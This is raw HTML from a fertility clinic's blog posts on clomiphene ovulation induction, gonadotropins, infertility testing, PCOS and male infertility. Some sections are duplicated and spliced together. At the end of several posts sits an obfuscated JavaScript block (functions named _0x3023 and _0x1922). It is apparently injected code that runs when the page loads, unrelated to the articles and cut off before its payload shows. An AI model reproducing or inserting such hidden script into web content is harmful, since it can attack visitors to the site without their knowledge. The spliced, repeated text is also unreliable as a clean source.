href=\"https://www.nufertility.com/our-team\" target=\"_blank\" rel=\"noopener\"><strong>best doctors</strong></a></span></em> if your menstrual period does not come 35 days after your last period and the pregnancy test remains negative. Please also contact your doctor if you become pregnant! Please remember you may not conceive during the first cycle. Indeed, most patients require a few months of clomiphene treatment and sometimes dosage adjustments are required.\r\n\r\n<strong>Reference:</strong>\r\n\r\n<strong>Ovulation Problems and Infertility:</strong> Treatment of ovulation problems with Clomid and other fertility drugs Advanced<span style=\"color: #3366ff;\"><strong><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/\" target=\"_blank\" rel=\"noopener\"> <em>Fertility Center</em></a> </strong></span>of Chicago. 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class=\"mce_SELRES_start\">﻿</span>{\"@context\":\"https://schema.org\",\"@type\":\"FAQPage\",\"mainEntity\":[{\"@type\":\"Question\",\"name\":\"What is ovulation?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Usually each month one ovary will be stimulated by hormones produced in the brain. These cause a small cyst or follicle to grow on the ovary in which an egg develops. Another hormone then causes the follicle to release one egg to travel down the fallopian tube where it can be fertilized by the sperm which swims up from the vagina. This usually occurs around 14 days after the beginning of a period but can vary between 11  16 days.\"}},{\"@type\":\"Question\",\"name\":\"What is ovulation induction?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Ovulation induction is a simple process which encourages the ovaries to release eggs, to maximize your chance of conception through intercourse or artificial insemination (IUI). It suits women who are producing low levels of hormones for ovulation, or who are not ovulating at all. Medication in the form of tablets or injections needs to be taken to stimulate hormones for egg production.\"}},{\"@type\":\"Question\",\"name\":\"What is clomiphene citrate?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Clomiphene is a fertility drug that can increase the chance of ovulation occurring. It is an anti-estrogen and the most commonly used drug for inducing ovulation.\"}},{\"@type\":\"Question\",\"name\":\"How should Clomiphene be taken?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Clomiphene is taken for 5 days early in the menstrual cycle  typically from day 2 to 6 of the cycle or day 3 to day 7. It is taken orally at the same time every day.\"}},{\"@type\":\"Question\",\"name\":\"What are the potential side effects of clomiphene?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Bloating, pelvic pain, nausea, vomiting, insomnia, light-headedness, constipation, breast discomfort, fatigue and a change in menstrual flow can all occur while taking clomiphene. If you develop blurred or altered vision please discontinue clomiphene and contact the doctor.\"}},{\"@type\":\"Question\",\"name\":\"What are the chances of conceiving with clomiphene?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"For women whose only infertility problem is anovulation, up to 80% of patients will ovulate using this medication and 50% of those will conceive. Clomiphene may be combined with intrauterine insemination to boost the success of the medication by placing the sperm and egg in closer proximity to each other.\"}},{\"@type\":\"Question\",\"name\":\"What are gonadotrophins?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Gonadotropins are fertility medications that contain FSH or LH alone or in combination. In contrast to clomiphene, which is given by mouth, gonadotropins are given by injections. A related medication is hCG, which is structurally similar to LH and mimics the natural LH surge. There are a variety of commercially available gonadotropin preparations.\"}},{\"@type\":\"Question\",\"name\":\"When should I test for pregnancy?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Most menstrual cycles are approximately 28 days long and ovulation occurs 14 days prior to the onset of menstrual flow. If you are pregnant the menstrual flow will not come. Test for pregnancy using a home pregnancy test 28-30 days after your last menstrual period.\"}}]}</script><!--FAQPage Code Generated by https://saijogeorge.com/json-ld-schema-generator/faq/-->\r\n<div style=\"text-align: justify;\">\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What is ovulation?</strong></h2>\r\nUsually each month one ovary will be stimulated by hormones produced in the brain. These cause a small cyst or follicle to grow on the ovary in which an egg develops. Another hormone then causes the follicle to release one egg to travel down the fallopian tube where it can be fertilized by the sperm which swims up from the vagina. This usually occurs around 14 days after the beginning of a period but can vary between 11 – 16 days.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><!--more-->\r\n<strong>What is ovulation induction?</strong></h2>\r\n<em>Ovulation induction</em> is a simple process which encourages the ovaries to release eggs, to maximize your chance of conception through intercourse or <span style=\"color: #3366ff;\"><strong><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\"><em>artificial insemination (IUI)</em></a></strong></span>. It suits women who are producing low levels of hormones for ovulation, or who are not ovulating at all. Medication in the form of tablets or injections needs to be taken to stimulate hormones for egg production.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>Who needs ovulation induction?</strong></h2>\r\nIf a woman is not ovulating by herself then ovulation induction may be required.\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>The most common causes of failure to ovulate are</strong></strong></span></h3>\r\n<ul>\r\n 	<li>Stress</li>\r\n 	<li>Weight fluctuations</li>\r\n 	<li>Polycystic Ovarian Syndrome (PCOS)</li>\r\n</ul>\r\nOther causes may include disorders of the pituitary gland, thyroid gland, and raised prolactin levels. In some cases, failure of ovulation is due to the<strong> ovarian failure</strong>. This may occur following treatment for cancer or maybe the start of the menopause – premature ovarian failure.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What is clomiphene citrate?</strong></h2>\r\nClomiphene is a fertility drug that can increase the chance of ovulation occurring. It is an anti-estrogen and the most commonly used drug for inducing ovulation.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>How should Clomiphene be taken?</strong></h2>\r\nClomiphene is taken for 5 days early in the menstrual cycle – typically from day 2 to 6 of the cycle or day 3 to day 7. It is taken orally at the same time every day.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are the potential side effects of clomiphene?</strong></h2>\r\nBloating, pelvic pain, nausea, vomiting, insomnia, light-headedness, constipation, breast discomfort, fatigue and a change in menstrual flow can all occur while taking clomiphene. If you develop blurred or altered vision please discontinue clomiphene and contact the doctor.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are the chances of conceiving with clomiphene?</strong></h2>\r\nFor women whose only<em> <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/infertility-evaluation-and-workup\" target=\"_blank\" rel=\"noopener\"><strong>infertility problem</strong></a></span></em> is anovulation, up to 80% of patients will ovulate using this medication and <strong>50% of those will conceive.</strong> Clomiphene may be combined with intrauterine insemination to boost the success of the medication by placing the sperm and egg in closer proximity to each other.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are gonadotrophins?</strong></h2>\r\n<strong>Gonadotropins</strong> are fertility medications that contain FSH or LH alone or in combination. In contrast to clomiphene, which is given by mouth, gonadotropins are given by injections. A related medication is hCG, which is structurally similar to LH and mimics the natural LH surge. There are a variety of commercially available gonadotropin preparations.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>How will the cycle be monitored while on ovulation induction drugs?</strong></h2>\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>Ultrasound:</strong></span></h3>\r\n<img class=\"alignright\" style=\"text-align: -webkit-center;\" title=\"Ultrasound Scan\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/i6.png\" alt=\"Ultrasound Scan\" width=\"300\" height=\"222\" />The doctor will often use one or more ultrasound scans to obtain an actual image of the ovaries and to regularly monitor follicle growth in the ovary beginning on or before day eight of the cycle, as follicles mature, they grow larger. Through ultrasound, the doctor will observe the effects of treatment on follicle growth and size, and decide when to give<strong> hCG injection</strong> (human chorionic gonadotrophin) to assist with the release of the egg.\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><b>Blood tests:</b></span></h3>\r\nTesting the blood every few days for oestrogen levels can monitor the response to treatment with FSH therapy.\r\n\r\nYour progesterone level is usually checked six to eight days after you ovulate <strong>(about day 21 of a day 28 cycle)</strong>. This is because progesterone levels rise following ovulation, peaking five to nine days after ovulation. This is known as your luteal phase. After the midluteal<strong> period,</strong> your serum progesterone levels will begin to fall if the egg is not fertilized.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are the side effects of gonadotropins?</strong></h2>\r\nThere are potential risks and complications associated with the use of gonadotropins. Side effects should be discussed prior to taking these medications. Despite intensive monitoring, up to 30% of gonadotropin-stimulated pregnancies are multiple. Of the multiple pregnancies, about two-thirds are twins and one-third are triplets or more. Premature delivery is a known risk for multiple pregnancies. The greater the number of fetuses in the uterus, the greater the risk of premature delivery. Premature delivery can subject the newborn to complications such as severe respiratory distress, intracranial hemorrhage, infection, cerebral palsy, and death. Some patients pregnant with triplets or more choose to undergo a procedure known as multifetal pregnancy reduction in an effort to decrease these risks.\r\n\r\nIn addition to problems associated with high order multiple gestations, another serious side effect of gonadotropin therapy is ovarian hyperstimulation syndrome (OHSS)<strong>,</strong> in which the ovaries become swollen and painful. In severe cases, fluid accumulates in the abdominal cavity and chest. In about 2% of gonadotropin cycles, hyperstimulation may be severe enough to require hospitalization. Careful monitoring of ovulation induction cycles with the use of ultrasound and/or measurement of serum estradiol levels, in conjunction with adjustment of gonadotropin dosage, will enable the physician to identify risk factors and prevent most cases of severe OHSS. When serum estradiol levels are rapidly rising and/or too high, or an excessive number of ovarian follicles develop, one method of best prevention is to withhold further gonadotropin stimulation and delay hCG administration until estradiol levels plateau or decline. Alternately, hCG can be withheld so that ovulation fails to occur, thereby lessening the severity of OHSS.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>When should I test for pregnancy?</strong></h2>\r\nMost menstrual cycles are approximately <strong>28 days long and ovulation occurs 14 days</strong> prior to the onset of menstrual flow. If you are pregnant the menstrual flow will not come. Test for pregnancy using a home pregnancy test 28-30 days after your last menstrual period.\r\n\r\nIf your period does not come, continue to test for pregnancy every second day. Contact the <em><span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/our-team\" target=\"_blank\" rel=\"noopener\"><strong>best doctors</strong></a></span></em> if your menstrual period does not come 35 days after your last period and the pregnancy test remains negative. Please also contact your doctor if you become pregnant! Please remember you may not conceive during the first cycle. Indeed, most patients require a few months of clomiphene treatment and sometimes dosage adjustments are required.\r\n\r\n<strong>Reference:</strong>\r\n\r\n<strong>Ovulation Problems and Infertility:</strong> Treatment of ovulation problems with Clomid and other fertility drugs Advanced<span style=\"color: #3366ff;\"><strong><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/\" target=\"_blank\" rel=\"noopener\"> <em>Fertility Center</em></a> </strong></span>of Chicago. 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infertility?</strong></h2>\r\n<div style=\"text-align: justify;\">\r\n\r\nInfertility is defined as the inability to conceive after 12 months of unprotected, regular sexual intercourse.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><!--more--></h2>\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>How common is the problem?</strong></h2>\r\nInfertility is a medical condition that affects up to one in six couples of reproductive age.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What influences infertility?</strong></h2>\r\nThe single biggest influence on a couple’s chances of getting pregnant is a woman’s age. Male infertility plays a close second to this, together affecting almost half of all infertile couples. As couples wait longer to have their first baby, establishing careers, relationship and financial stability first, the outcome is often increased difficulties in conceiving naturally.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are the causes of infertility?</strong></h2>\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>Causes of infertility are varied and can include:</strong></h3>\r\n<ul>\r\n 	<li>Problem with the production of sperm or eggs.</li>\r\n 	<li>Structural or functional issues with the female or male reproductive systems.</li>\r\n 	<li>Hormone or immune conditions in men, women or both.</li>\r\n</ul>\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>How do we assess female infertility?</strong></h2>\r\nThe first step for couples seeking fertility treatment begins with a thorough assessment of both partners, including a detailed medical history and number of routine tests.\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>To measure female fertility, the following tests are often performed:</strong></h3>\r\n<ul>\r\n 	<li><strong>Ovulation tests</strong> a quick blood test to asses if the woman is producing an egg each month or not.</li>\r\n 	<li><strong>Ultrasound scan</strong> a scan to look at the condition of the uterus and presence of issues like fibroids, cysts or Polycystic Ovarian Syndrome (PCOS).</li>\r\n 	<li><strong>Ovarian Reserve (AMH Test) </strong>a blood test that measures the level of AMH hormone to help estimate the number of eggs she has, especially when they are at risk of decreased ovarian reserve. Eg: advanced maternal age/ history of previous ovarian surgery/history of cancer chemotherapy or pelvic radiation.</li>\r\n</ul>\r\nSometimes fertility specialists also perform additional tests, including a hysterosalpingogram (HSG), sonohysterogram or diagnostic laparoscopy, to better assess the condition of the woman’s fallopian tubes, ovaries, and uterus.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>How do we assess male infertility?</strong></h2>\r\nThe most important diagnostic test to assess male infertility is a semen analysis. In nearly all cases, man does not display any obvious outward signs or symptoms that may indicate an issue with his<span style=\"color: #000000;\"> fertility.</span>\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>Specialist Andrology assessment of sperm is essential to measure:</strong></h3>\r\n<ul>\r\n 	<li>The number of sperm, volume, and consistency of the sample.</li>\r\n 	<li>The size and shape (morphology) and ability to move (mobility) of the sperm, both of which can interfere with penetration and fertilization of an egg.</li>\r\n</ul>\r\n<center><img class=\"alignnone\" title=\"Andrology Assessment\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/IVF2-300x213.png\" alt=\"Andrology Assessment\" width=\"300\" height=\"213\" /></center>\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What treatment options are available for infertility?</strong></h2>\r\nThere are numerous treatment options for couples struggling with infertility. At the simpler end of the scale, follicular tracking by ultrasound, to detect ovulation is an important starting point for many couples, as they are taught to identify the most fertile days of woman’s cycle. This helps them to time intercourse accordingly for the best chance of conceiving. A step up from this, Ovulation Induction uses medication to regulate the woman’s cycle so she is ovulating regularly.\r\n\r\n<a href=\"https://nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\"><strong><span style=\"color: #3366ff;\">Intrauterine Insemination (IUI)</span></strong></a> is another option for couples with unexplained infertility and is a simple way to achieve pregnancy. A prepared sperm sample is injected into the upper part of a woman’s uterus around the time she is ovulating; ovulation can occur either spontaneously or with hormone treatment.\r\n\r\nA more advanced treatment option, In-vitro Fertilization (IVF) is used in cases involving male and female fertility issues and requires the retrieval of eggs from the woman’s ovaries so they can be fertilized with the man’s sperm in the laboratory. The resulting embryos are then inserted into the woman’s womb to achieve pregnancy.\r\n\r\nIn case of severe male infertility, <strong><span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/ivf-icsi\" target=\"_blank\" rel=\"noopener\">Intra Cytoplasmic Sperm Injection (ICSI)</a></span></strong> is the gold standard in treatment options. Used alongside IVF, an embryologist only needs one live sperm cell in the semen sample for selection and injection directly into the body of the female egg to enable fertilization daily.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>Overview of an IVF Cycle</strong></h2>\r\n<center><img class=\"alignnone\" title=\"IVF Cycle\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/1.png\" alt=\"IVF Cycle\" width=\"300\" height=\"158\" /></center>\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><b>IUI- Intrauterine Insemination</b></h2>\r\n<center><img class=\"alignnone\" title=\"IUI- Intrauterine Insemination\" src=\"https://www.nuhospitals.com/wp-content/uploads/2015/12/ivf4-300x191.png\" alt=\"IUI- Intrauterine Insemination\" width=\"300\" height=\"191\" /></center>\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What is the right time to have a baby?</strong></h2>\r\nWomen 35 years and older are encouraged to get medical advice if they haven’t conceived within 6 months of trying naturally, while women under 35 years can try for up to 12 months before seeking medical help. Starting early and getting the right help is the key to success when trying for a baby.\r\n\r\n<strong>Reference</strong>\r\n<ul>\r\n 	<li><strong>Diagnostic evaluation of the infertile female;</strong> a committee opinion: practice committee, ASRM: Fertility and sterility, vol 103, no6, June 2015, 0015-0282</li>\r\n 	<li><strong>Diagnostic evaluation of the infertile male;</strong> a committee opinion: practice committee, ASRM: Fertility and sterility, vol 103, no3, March 2015, 0015-0282</li>\r\n</ul>\r\n</div>\r\n</div>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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women. </strong>In women with <strong>polycystic ovaries,</strong> the ovaries are enlarged with multiple small cysts, which are nothing but the immature eggs which are not growing. These ovaries also have thick stroma which produces excessive androgens. They may also have an altered ratio of pituitary hormones- <strong>FSH and LH</strong> which interferes with ovulation. <strong>Excessive androgens</strong> are also responsible for acne and hirsutism.\r\n\r\n<!--more-->\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff6600;\"><strong>How do you know if you have Polycystic Ovaries?</strong></span></h2>\r\n<strong>Typically they will have one or more of these symptoms:</strong>\r\n<ol>\r\n 	<li><strong>Irregular and infrequent periods</strong> with either excessive flow or scanty flow.</li>\r\n 	<li>Acne.</li>\r\n 	<li>Hirsutism.</li>\r\n 	<li><strong>Weight gain</strong> worsens all these symptoms.</li>\r\n 	<li>The <strong>hormone test AMH</strong> is elevated and sometimes there is also an alteration of the FSH and LH ratio.</li>\r\n</ol>\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff6600;\"><strong>What causes PCOS?</strong></span></h2>\r\n<strong>Polycystic ovaries</strong> are a result of long term anovulation. It has a significant hereditary basis. Along with that weight gain and insulin resistance worsens the symptoms.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff6600;\"><strong>Why does PCOS cause infertility?</strong></span></h2>\r\n<strong>Infertility in PCOS</strong> is due to anovulation. Due to excessive androgens and altered hormonal milieu, follicular growth and ovulation do not happen.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>what is PCOS treatment associated with infertility?</strong></h2>\r\n<ol>\r\n 	<li>First and foremost thing in the treatment of PCOD associated infertility is <strong>weight loss</strong>. <strong>Even a 5-7 % weight loss</strong> can result in spontaneous ovulation.</li>\r\n 	<li> <strong><span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/ovulation-induction\" target=\"_blank\" rel=\"noopener\">Ovulation induction</a></span>:</strong> a variety of drugs like clomiphene citrate, letrazole and gonadotrophins like FSH  and HMG can be used to induce ovulation. The dosage should be titrated by doing serial follicular monitoring.  It also helps in timed intercourse.</li>\r\n 	<li>Sometimes when the ovaries do not respond to these drugs adjuvant medicines like metformin, myoinositol, and low dose steroids may also be used.</li>\r\n 	<li><strong>Surgical management:</strong> When the ovaries fail to respond to the ovulation induction drugs, <strong><span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/laparoscopic-and-hysteroscopic-surgeries\" target=\"_blank\" rel=\"noopener\">laparoscopy</a></span></strong> and ovarian drilling may be considered. This is particularly useful in lean <strong>PCOS</strong> and those with high <strong>LH.</strong></li>\r\n 	<li><strong>IVF</strong> may have to be considered if they fail to conceive even after 6 cycles of ovulation induction and 3-4 cycles of <strong><span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\">IUI</a></span>.</strong> These women are at high risk for ovarian hyperstimulation syndrome <strong>during IVF.</strong> Hence it is advised to avoid<strong> HCG trigger</strong> and instead use a GnRH agonist trigger. <strong>Freeze all</strong> embryos policy followed by Frozen embryo transfer provides an optimal outcome.</li>\r\n</ol>\r\n</div>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function 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line-height: 0;\" class=\"mce_SELRES_start\">﻿</span>\r\n{\r\n\"@context\": \"https://schema.org\",\r\n\"@type\": \"Article\",\r\n\"mainEntityOfPage\": {\r\n\"@type\": \"WebPage\",\r\n\"@id\": \"https://www.nufertility.com/blog/male-infertility-causes-treatment/<span data-mce-type=\"bookmark\" style=\"display: inline-block; width: 0px; overflow: hidden; line-height: 0;\" class=\"mce_SELRES_start\">﻿</span>\"\r\n},\r\n\"headline\": \"Male Infertility – What You Need To Know\",\r\n\"image\": [\r\n\"https://www.nufertility.com/blog/wp-content/uploads/2020/01/Male-Infertility.jpg\"],\r\n\"datePublished\": \"2020-10-01T18:41:26+05:30\",\r\n\"dateModified\": \"2019-10-01T10:56:43+05:30\",\r\n\"author\": {\r\n\"@type\": \"Person\",\r\n\"name\": \" Dr. Pramod Krishnappa\"\r\n},\r\n\"publisher\": {\r\n\"@type\": \"Organization\",\r\n\"name\": \"Nu Fertility\",\r\n\"logo\": {\r\n\"@type\": \"ImageObject\",\r\n\"url\": \"https://www.nufertility.com/blog/wp-content/uploads/2018/07/NU-FERTILITY-Final-c2c-.png\"\r\n}\r\n},\r\n\"description\": \"Male infertility is when a male&#039;s inability to cause pregnancy in a fertile female and can be treated with assisted reproductive technology. Book an appointment with experienced urologist/andrologist.\"\r\n}\r\n</script>\r\n<div style=\"text-align: justify;\">\r\n\r\nWhen a couple is ready to get pregnant, it should be the happiest and easiest thing in the world. However, for a large majority of couples, getting pregnant is not so easy. There are a number of complications that can arise, either in the man or woman, that can make getting pregnant extremely problematic.\r\n<!--more-->\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>What is male infertility?</strong></strong></span></h2>\r\nMale infertility is when the man is facing problems with his fertility and cannot get the woman pregnant. <strong>1 in every 6 couples face fertility issues</strong>, and 50% of the fertility cases are believed to be linked to the male.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>What factors can cause male infertility?</strong></span></h2>\r\nMale infertility can arise due to a number of reasons such as low sperm count, abnormally functioning sperm or blockages that prevent the delivery of sperm from the testicles to the penis. Certain past illnesses or chronic health problems, injuries, lifestyle choices, and other factors can also play a role in causing male infertility.\r\n\r\nIn most cases, the cause for male infertility is related to the process of making the sperm or the mobility of the sperm. Some men may have sperm that have a short life span. Other men may have a very <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>low sperm count</strong> </a></span>(also known as oligospermia). Some men cannot produce sperm at all (a condition called azoospermia). Most of the time, with the right medical/surgical treatments and lifestyle modifications, these problems can be reversed and cured. Other times, they, unfortunately, cannot. Consulting with the right andrologist/urologist and getting a complete check-up for the right path of treatment is the best way out.\r\n<h3 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>what are the treatments for Male Infertility?</strong></strong></span></h3>\r\n<h3 style=\"text-align: left; font-size: 13px; width: 100%;\"><strong>Surgical and Non-surgical Options</strong></h3>\r\nThe urologist will take a full medical history and do a routine but thorough physical examination. For most men, these steps will be enough to pinpoint the issue. However, some men will require a few extra exams to detect the underlying problem, if needed, such as an ultrasound, blood tests or a hormonal profile. These will help further check the potential cause.\r\n\r\nOnce the main issue has been found, the doctor will prescribe the best treatment options available. But on a positive note, most male infertility cases are treatable, allowing the couple to fulfill their dreams of having a child of their own.\r\n\r\nMale infertility can be treated<strong> with or without surgery</strong>, or with assisted reproductive technology treatments. The non-surgical options include lifestyle changes, medications, therapy/counseling or hormone-related treatments. Other treatment options include surgery or the use of assisted reproductive technology.\r\n\r\nFor men who cannot bring out semen (ejaculate) at all, also known as anejaculation, medications will typically be prescribed first. This, by itself, is usually successful. If not, surgery is usually the next option. Surgery can be used to correct a defect or remove a blockage. Varicocele surgery sometimes helps in improving the quality and quantity of sperms in semen.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>Types of Assisted Reproductive (ART) Technology</strong></span></h2>\r\nWhen medication and surgical methods prove to be unfruitful to cure male infertility, your doctor will prescribe other forms of treatment that do not involve having intercourse. These methods are also called assisted reproductive techniques. <strong>Some of them are as follows:</strong>\r\n<ol>\r\n 	<li><strong><a href=\"https://www.nufertility.com/in-vitro-fertilization-ivf\">IVF (In-vitro Fertilization)</a>:</strong> This is when the egg of a woman is retrieved from the ovaries and fertilized by sperm in laboratory conditions. After letting it grow for 3 to 5 days, the fertilized egg (embryo) is put back into the woman’s uterus.</li>\r\n 	<li><strong>IUI (Intrauterine Insemination):</strong> This involves placing the sperm into the woman’s uterus using a special tube. This method is often used when the man’s sperm count is low, and his sperm has low mobility. Or when there is retrograde ejaculation.</li>\r\n 	<li><strong>ICSI (Intracytoplasmic Sperm Injection):</strong> This is where a single sperm is physically inserted into an egg. This treatment option helps those having even the most severe male infertility problems. Because of this revolutionary method, up to 80 percent of infertile men have the potential to conceive with their partner.\r\nToday’s highly-advanced, revolutionary medical techniques and procedures have made it possible for couples to conceive and make their dreams come true no matter what the odds are.</li>\r\n</ol>\r\nFor more information on male infertility and its treatment options please meet <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nuhospitals.com/medical-specialities/andrology\" target=\"_blank\" rel=\"noopener\"><strong>Dr. Pramod Krishnappa</strong></a></span> or <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/book-an-appointment\" target=\"_blank\" rel=\"noopener\"><strong>book an appointment</strong></a></span> with one of our experienced urologists/andrologists.\r\n\r\n</div>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return 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line-height: 0;\" class=\"mce_SELRES_start\">﻿</span>\r\n{\r\n\"@context\": \"https://schema.org\",\r\n\"@type\": \"Article\",\r\n\"mainEntityOfPage\": {\r\n\"@type\": \"WebPage\",\r\n\"@id\": \"https://www.nufertility.com/blog/male-infertility-causes-treatment/<span data-mce-type=\"bookmark\" style=\"display: inline-block; width: 0px; overflow: hidden; line-height: 0;\" class=\"mce_SELRES_start\">﻿</span>\"\r\n},\r\n\"headline\": \"Male Infertility – What You Need To Know\",\r\n\"image\": [\r\n\"https://www.nufertility.com/blog/wp-content/uploads/2020/01/Male-Infertility.jpg\"],\r\n\"datePublished\": \"2020-10-01T18:41:26+05:30\",\r\n\"dateModified\": \"2019-10-01T10:56:43+05:30\",\r\n\"author\": {\r\n\"@type\": \"Person\",\r\n\"name\": \" Dr. Pramod Krishnappa\"\r\n},\r\n\"publisher\": {\r\n\"@type\": \"Organization\",\r\n\"name\": \"Nu Fertility\",\r\n\"logo\": {\r\n\"@type\": \"ImageObject\",\r\n\"url\": \"https://www.nufertility.com/blog/wp-content/uploads/2018/07/NU-FERTILITY-Final-c2c-.png\"\r\n}\r\n},\r\n\"description\": \"Male infertility is when a male&#039;s inability to cause pregnancy in a fertile female and can be treated with assisted reproductive technology. Book an appointment with experienced urologist/andrologist.\"\r\n}\r\n</script>\r\n<div style=\"text-align: justify;\">\r\n\r\nWhen a couple is ready to get pregnant, it should be the happiest and easiest thing in the world. However, for a large majority of couples, getting pregnant is not so easy. There are a number of complications that can arise, either in the man or woman, that can make getting pregnant extremely problematic.\r\n<!--more-->\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>What is male infertility?</strong></strong></span></h2>\r\nMale infertility is when the man is facing problems with his fertility and cannot get the woman pregnant. <strong>1 in every 6 couples face fertility issues</strong>, and 50% of the fertility cases are believed to be linked to the male.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>What factors can cause male infertility?</strong></span></h2>\r\nMale infertility can arise due to a number of reasons such as low sperm count, abnormally functioning sperm or blockages that prevent the delivery of sperm from the testicles to the penis. Certain past illnesses or chronic health problems, injuries, lifestyle choices, and other factors can also play a role in causing male infertility.\r\n\r\nIn most cases, the cause for male infertility is related to the process of making the sperm or the mobility of the sperm. Some men may have sperm that have a short life span. Other men may have a very <strong><span style=\"color: #3366ff;\">low sperm count </span></strong>(also known as oligospermia). Some men cannot produce sperm at all (a condition called azoospermia). Most of the time, with the right medical/surgical treatments and lifestyle modifications, these problems can be reversed and cured. Other times, they, unfortunately, cannot. Consulting with the right andrologist/urologist and getting a complete check-up for the right path of treatment is the best way out.\r\n<h3 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>what are the treatments for Male Infertility?</strong></strong></span></h3>\r\n<h3 style=\"text-align: left; font-size: 13px; width: 100%;\"><strong>Surgical and Non-surgical Options</strong></h3>\r\nThe urologist will take a full medical history and do a routine but thorough physical examination. For most men, these steps will be enough to pinpoint the issue. However, some men will require a few extra exams to detect the underlying problem, if needed, such as an ultrasound, blood tests or a hormonal profile. These will help further check the potential cause.\r\n\r\nOnce the main issue has been found, the doctor will prescribe the best treatment options available. But on a positive note, most male infertility cases are treatable, allowing the couple to fulfill their dreams of having a child of their own.\r\n\r\nMale infertility can be treated<strong> with or without surgery</strong>, or with assisted reproductive technology treatments. The non-surgical options include lifestyle changes, medications, therapy/counseling or hormone-related treatments. Other treatment options include surgery or the use of assisted reproductive 